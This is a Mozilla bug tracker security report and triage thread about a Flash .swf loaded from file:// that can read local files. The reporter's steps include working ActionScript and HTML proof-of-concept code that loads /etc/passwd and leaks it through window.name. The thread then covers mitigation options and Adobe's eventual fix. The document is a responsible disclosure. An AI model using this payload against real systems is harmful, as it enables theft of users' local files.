Closed
Bug 1013808
Opened 11 years ago
Closed 11 years ago
Flash .swf served from file:// can steal local files
Categories
(Core Graveyard :: Plug-ins, defect)
Tracking
(Not tracked)
RESOLVED
WORKSFORME
People
(Reporter: joev, Unassigned)
Details
(Keywords: csectype-priv-escalation, sec-vector)
Attachments
(1 file)
|
593 bytes,
application/x-shockwave-flash
|
Details |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Steps to reproduce:
By abusing window name an arbitrary file's contents can be leaked.
Attacker drops 3 files on the target's file system:
1. steal.swf
import flash.net.navigateToURL;
import flash.net.URLRequest;
import flash.net.FileReference;
import flash.net.URLLoaderDataFormat;
import flash.events.IOErrorEvent;
import flash.events.Event;
import flash.net.URLLoader;
var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.TEXT;
loader.addEventListener(Event.COMPLETE, completeHandler);
loader.load(new URLRequest('file:///etc/passwd'));
function completeHandler(event:Event):void {
var loader2:URLLoader = URLLoader(event.target);
var str = loader2.data;
navigateToURL(new URLRequest("empty.html"), str);
}
2. steal.html
<!doctype html>
<html>
<body>
<iframe src='steal.swf'></iframe>
</body>
</html>
3. empty.html
<script>alert(window.name)</script>
The target opens steal.html in firefox, /etc/password is alerted.
Actual results:
Contents of /etc/passwd are alerted
Expected results:
Passing data between swf with "Local playback security" set to "Access local files only" should be prohibited.
|
||
Comment 2•11 years ago
|
||
> Passing data between swf with "Local playback security" set to "Access local files only"
> should be prohibited.
Is this a Flash setting? I don't recognize this as a Firefox setting.
Flash treats all files as same-origin with eachother, which Firefox changed a long time ago (see https://developer.mozilla.org/en-US/docs/Same-origin_policy_for_file:_URIs)
This is not something we can "fix" in Firefox, so the underlying bug is something that Adobe would have to fix. Joel, have you filed an issue with Adobe?
In Firefox we could apply some workarounds:
* disallow all plugins from file:, or make it click-to-activate by default
* disallow Flash from ever fetching file: URIs, no matter where it's loaded from
* when Flash is loaded from file:, apply the Firefox same-origin policy to other file: URIs fetched by Flash
josh/johns, do you have thoughts about the relative risk/reward of those workarounds?
Status: UNCONFIRMED → NEW
Component: Untriaged → Plug-ins
Ever confirmed: true
Flags: needinfo?(jschoenick)
Flags: needinfo?(joshmoz)
Flags: needinfo?(joev)
Keywords: csectype-priv-escalation,
sec-vector
Product: Firefox → Core
Thanks for the quick response! These are both flash settings. I reported it here as it seemed Firefox does well to prevent flash from leaking data from the file:// zone in similar vectors. There are other ways to do this on other browsers that Firefox prevents. I'll file a bug with Adobe later today.
Another workaround would be to prevent flash's navigateToURL (when called from a file:// swf) from setting window.name on the navigated/opened window.
Flags: needinfo?(joev)
|
||
Comment 4•11 years ago
|
||
Thanks Joe. Please report this issue directly to the Adobe Product Security Incident Response Team <psirt@adobe.com>.
I have notified Adobe's incident response team. I will update this ticket when I hear back from them.
|
|
||
Comment 6•11 years ago
|
||
FWIW, I believe that we received a similar responsible disclosure and
|
|
||
Comment 7•11 years ago
|
||
(oops) and that a fix will be forthcoming. I'll have someone double-check that the fix addresses your PoC as well this afternoon. Thanks again for taking the time and effort to report this.
Cool, that is great news to hear! I reported this a year ago to chrome, where it was wontfixed. The ticket is public and the dev's response/explanation is here (he makes some good points about why this is not a "fixable" exfiltration in chrome):
Original chrome ticket: https://code.google.com/p/chromium/issues/detail?id=230541
Also note (this is implied in my testcase, and this has probably been reported before) that Flash applets served via file:/// can bypass the popup blocker without user intervention, just by calling NavigateToURL. This makes things like some UXSS exploits a lot nastier (x-iframe-opts wont save your site!). It is unclear whether this is intentional behavior.
Anyways, I just want to open local files safely, so thanks again for your attention to this matter.
|
||
Comment 9•11 years ago
|
||
(In reply to Benjamin Smedberg [:bsmedberg] from comment #2)
> * when Flash is loaded from file:, apply the Firefox same-origin policy to
> other file: URIs fetched by Flash
This seems reasonable, plugins usually skip origin checks, but enforcing the "lax" same origin policy for file: origins (same directory or below) would be easy and probably not too destructive. I imagine some enterprise users are doing terrible things like loading local plugins to operate on arbitrary files, but it could be given a pref or somesuch. I can write up a patch if we want to do this.
Flags: needinfo?(jschoenick)
|
Reporter | |
Comment 10•11 years ago
|
||
Good news: this is fixed by Flash's latest update, tracked as PSIRT-2793. Great work Adobe!
Status: NEW → RESOLVED
Closed: 11 years ago
Resolution: --- → WORKSFORME
|
||
Updated•10 years ago
|
Group: core-security
|
||
Updated•3 years ago
|
Product: Core → Core Graveyard
You need to log in
before you can comment on or make changes to this bug.
Description
•